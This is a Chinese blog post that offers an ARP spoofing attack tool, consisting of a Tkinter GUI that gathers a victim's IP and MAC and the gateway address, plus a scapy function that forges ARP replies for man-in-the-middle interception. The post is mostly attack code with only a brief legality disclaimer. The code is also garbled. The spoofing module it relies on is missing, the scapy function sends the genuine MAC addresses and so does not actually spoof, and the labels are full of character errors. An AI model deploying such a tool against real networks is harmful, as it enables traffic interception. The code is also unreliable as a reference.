基于Tkinter GUI库的ARP欺骗攻击工具

news2024/11/15 16:37:11

基于Tkinter GUI库的ARP欺骗攻击工具

程序提供了一个简单易用的GUI界面,让用户可以方便地进行ARP欺骗攻击。但ARP欺骗是一种黑客攻击手段,可能会造成严重的网络安全问题,请谨慎使用,仅限于合法的网络安全测试和研究目的。

这个ARP欺骗工具需要用户输入目标主机的IP和MAC地址,以及网关路由器的IP地址,然后工具会伪造ARP应答报文,欺骗目标主机将网关路由器的MAC地址更新为攻击者自己的MAC地址。这样,目标主机发往网关的流量就会经过攻击者控制的机器,从而实现中间人攻击。

代码示例

from tkinter import *
from ArpSpoofing import *
import tkinter.messagebox


class ArpSpoofingForm:
    def __init__(self):
        window = Tk()
        window.title("ARP放骗")

        frame1 = Frame(window)
        frame1.pack()

        label1 = Label(frame1, text="日标主机IP地址:")
        label1.grid(row=0, column=0)
        self.objectIP = StringVar()
        entryObjectIP = Entry(frame1, textvariable=self.objectIP)
        entryObjectIP.grid(row=0, column=1)

        label2 = Label(frame1, text="日标主机MAC地址:")
        label2.grid(row=1, column=0)
        self.objectMAC = StringVar()
        entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)
        entryObjectMAC.grid(row=1, column=1)

        label3 = Label(frame1, text="公网路出器即地址:")
        label3.grid(row=2, column=0)
        self.routerIP = StringVar()
        entryRouterIP = Entry(frame1, textvariable=self.routerIP)
        entryRouterIP.grid(row=2, column=1)

        label4 = Label(frame1, text="本机MAC地址:")
        label4.grid(row=3, column=0)
        self.localMAC = StringVar()
        entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
        entryLocalMAC.grid(row=3, column=1)

        buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
        buttonSpoofing.pack()

        window.mainloop()

    def spoofing(self):
        objectIP = self.objectIP.get()
        if objectIP == "":
            tkinter.messagebox.showerror("", "请输入目标主机IP地址")
            return
        objectMAC = self.objectMAC.get()
        if objectMAC == "":
            tkinter.messagebox.showinfo("", "日标主机MAC地址!")
            return
        localMAC = self.localMAC.get()
        if localMAC == "":
            tkinter.messagebox.showinfo("", "本机网卡错误!")
            return
        routerIP = self.routerIP.get()
        if routerIP == "":
            tkinter.messagebox.showinfo("", "本机未联网!")
            return

        s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
        s.spoofing(100)


ArpSpoofingForm()

运行效果
在这里插入图片描述

图形用户界面

创建Tkinter主窗口,并设置标题

window = Tk()
window.title("ARP放骗")

Frame 容器,组织各个GUI组件

frame1 = Frame(window)
frame1.pack()

Label 和 Entry 组件,用于用户输入目标主机IP、MAC地址,网关路由器IP以及本机MAC地址

label1 = Label(frame1, text="日标主机IP地址:")
self.objectIP = StringVar()
entryObjectIP = Entry(frame1, textvariable=self.objectIP)

label2 = Label(frame1, text="日标主机MAC地址:")
self.objectMAC = StringVar()
entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)

label3 = Label(frame1, text="公网路出器即地址:")
self.routerIP = StringVar()
entryRouterIP = Entry(frame1, textvariable=self.routerIP)

label4 = Label(frame1, text="本机MAC地址:")
self.localMAC = StringVar()
entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
  • 目标主机IP地址:
    这个参数指的是你想要欺骗的目标主机的IP地址。也就是说,你要让这个目标主机相信它与网关路由器之间的ARP映射关系是错误的。
  • 目标主机MAC地址:
    这个参数对应的是目标主机的MAC地址。ARP欺骗的本质就是伪造ARP应答报文,使目标主机相信攻击者的MAC地址与网关路由器的IP地址对应。所以需要输入目标主机的MAC地址。
  • 网关路由器IP地址:
    网关路由器是目标主机访问Internet的默认路由。ARP欺骗的目的是让目标主机相信攻击者的MAC地址与网关路由器的IP地址对应,从而将目标主机的网络流量导向攻击者控制的机器。所以需要输入网关路由器的IP地址。
  • 本机MAC地址:
    这个参数对应的是运行该ARP欺骗工具的主机自己的MAC地址。因为ARP欺骗需要伪造ARP应答报文,所以需要告诉工具自己的MAC地址,作为伪造ARP应答报文的源MAC地址。

"ARP欺骗"按钮,点击后触发 spoofing 方法

buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
buttonSpoofing.pack()

spoofing 方法

获取用户输入的各项参数,并进行合法性检查

objectIP = self.objectIP.get()
if objectIP == "":
    tkinter.messagebox.showerror("", "请输入目标主机IP地址")
    return
# 对其他参数的检查逻辑类似

执行ARP欺骗攻击

s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
s.spoofing(100)

scapy 库 ARP 类构造ARP数据包

from scapy.all import ARP, send

def arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac):
    # 构造目标主机的ARP应答包
    arp_reply = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
    send(arp_reply, verbose=False)

    # 构造网关路由器的ARP应答包
    arp_reply = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
    send(arp_reply, verbose=False)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1909748.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

去中心化时代的到来:区块链如何重新定义权力和控制

随着区块链技术的迅猛发展,我们正逐步进入一个去中心化的新时代。区块链不仅仅是一种技术,更是一种理念,它通过去除中心化的权威和控制节点,重新定义了数据管理、交易验证和权力分配的方式。本文将深入探讨区块链如何在去中心化时…

【软件测试】 1+X初级 功能测试试题

登录模块需求说明书 人力资源管理系统 Web 端分为系统管理员、人资管理员、普通职员三个角色。系统登录模块 需求包括用户(UI)页面、业务规则两部分。 UI 页面 登录页 业务规则 【登录】 人资管理员、普通职员需要通过登录页面进入系统(We…

Python项目结构和组织

1、问题背景 在Python中,如何将项目中的代码逻辑地组织到不同的文件/类中?这种情况在C#/Java等语言中很常见,想要了解Python项目中如何实现类似的结构。另外,在Python中是否存在“命名空间”,“项目”和“面向对象原则…

Hadoop-20 Flume 采集数据双写至本地+HDFS中 监控目录变化 3个Agent MemoryChannel Source对比

章节内容 上一节完成了如下的内容: 编写Agent Conf配置文件收集Hive数据汇聚到HDFS中测试效果 背景介绍 这里是三台公网云服务器,每台 2C4G,搭建一个Hadoop的学习环境,供我学习。 之前已经在 VM 虚拟机上搭建过一次&#xff0…

springboot+vue+mybatis图书销售管理系统+PPT+论文+讲解+售后

在Internet高速发展的今天,我们生活的各个领域都涉及到计算机的应用,其中包括图书销售管理系统的网络应用,在外国图书销售管理系统已经是很普遍的方式,不过国内的管理网站可能还处于起步阶段。图书销售管理系统具有网上图书信息管…

基础跟张宇,强化用36讲还是高数辅导讲义?

基础跟的张宇老师,强化阶段跟谁要看基础学的怎么样! 因为张宇老师今年课程大改版,和以往的课程一点也不一样! 具体变动是: 张宇老师把往年强化阶段的知识前移,也就是说现在的基础阶段要讲的内容是以往基…

隧道定位导航的解决方案

隧道定位导航是一个复杂但重要的技术领域,主要面临的是隧道内卫星信号受遮挡导致定位困难的问题。以下是对隧道定位导航技术的详细分析: 一、隧道定位导航的挑战 在隧道等封闭环境中,由于山体或建筑物的遮挡,卫星信号往往无法直接…

无线领夹麦克风哪个牌子好,揭秘口碑最好降噪领夹麦排行榜

在这个短视频如日中天的时代,无数自媒体创作者纷纷借助这一媒介,通过直播带货、分享生活点滴、在线卡拉OK等形式,捕捉并分享生活中的美好时刻。一个成功的短视频,不仅需要创意构思和稳定的画面质量,更离不开清晰纯净的…

【CSS in Depth 2 精译】2.6 CSS 自定义属性(即 CSS 变量)+ 2.7 本章小结

文章目录 2.6 自定义属性(即 CSS 变量)2.6.1 动态变更自定义属性 2.7 本章小结 当前内容所在位置 第一章 层叠、优先级与继承第二章 相对单位 2.1 相对单位的威力2.2 em 与 rem2.3 告别像素思维2.4 视口的相对单位2.5 无单位的数值与行高2.6 自定义属性 …

【日常记录】【插件】js 获取浏览器信息、操作系统等相关信息

文章目录 1. 原生方式2. 插件的方式2.1 Bowser 的基本使用2.2 UAParser2.3 Platform.js 参考链接 1. 原生方式 原生方式可以通过 navigator.userAgent 来获取 需要写一个正则来匹配,获取相关的信息 2. 插件的方式 获取浏览器版本相关信息的库主要有以下几个 Bowser&…

从零开始做题:easycap

题目 给出一个pcap文件 解题 注:传输控制协议(TCP,Transmission Control Protocol)是为了在不可靠的互联网络上提供可靠的端到端字节流而专门设计的一个传输协议 .pcap文件需要用Wireshark打开 用Wireshark打开easycap.pcap文…

leetcode--层数最深叶子节点的和

leetcode地址:层数最深叶子节点的和 给你一棵二叉树的根节点 root ,请你返回 层数最深的叶子节点的和 。 示例 1: 输入:root [1,2,3,4,5,null,6,7,null,null,null,null,8] 输出:15 示例 2: 输入&#xff…

16张支付牌照将到期,新规落地以来,支付牌照的首次续展。

7月9日,包括瑞银信、乐刷、畅捷支付在内的16家第三方支付机构的支付牌照将到期,这些公司面临续展的重大考验。 这是《非银行支付机构监督管理条例》实施以来,支付牌照的首次续期。 其中,最受瞩目的可能是瑞银信。在范一飞落马后&a…

AI绘画:艺术与科技的交融,创新浪潮与无限可能

在科技日新月异的当下,AI 绘画作为人工智能领域的一颗璀璨新星,正以惊人的速度在国内崭露头角,引发了艺术与技术交融的全新变革。随着人工智能技术的飞速发展,AI绘画已成为艺术与科技交融的新宠。2024年,AI绘画行业在国…

最新版萌新Python看过最好的电子书?

我之前写过一篇 Python 入门看哪些书的文章,文章中罗列了 5 位大佬的书单推荐,在这个基础上我总结了自己看过的书单。你要是不知道学 Python 看什么书好,不妨参考一下: 一晃就到了月末,2020年也过去了 2 个月&#xf…

mysql数据库中的视图view的概念和详细说明

目录 一、定义 二、视图view的分类 (一)按功能和特性分类 1、普通视图(Regular View/Standard View) 2、索引视图(Indexed View) 3、分割视图(Partitioned View/Distributed Partitioned …

【pytorch23】MNIST测试实战

理解 训练完之后也需要做测试 为什么要做test? 上图蓝色代表train的accuracy 下图蓝色代表train的loss 基本上符合预期,随着epoch增大,train的accuracy也会上升,loss也会一直下降,下降到一个较小的程度 但是如果只看…

世上最懂交易原理的是佛学

僧肇《肇论不空真论》思想非有非無逻辑 价值观矛盾冲突时(不落两边),血性即行迹逻辑(俗谛),才气即逻辑心证(真谛);意气即是美,美即是意气;一切以…

使用bypy丝滑传递百度网盘-服务器文件

前言 还在为百度网盘的数据集难以给服务器做同步而痛苦吗,bypy来拯救你了!bypy是一个强大而灵活的百度网盘命令行客户端工具。它是基于Python开发的开源项目,为用户提供了一种通过命令行界面与百度网盘进行交互的方式。使用bypy,…

仿写SpringIoc

1.SpringIoc简单注解 1.1 Autowired package com.qcby.iocdemo1.annotation;import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target;Target(ElementType.FIEL…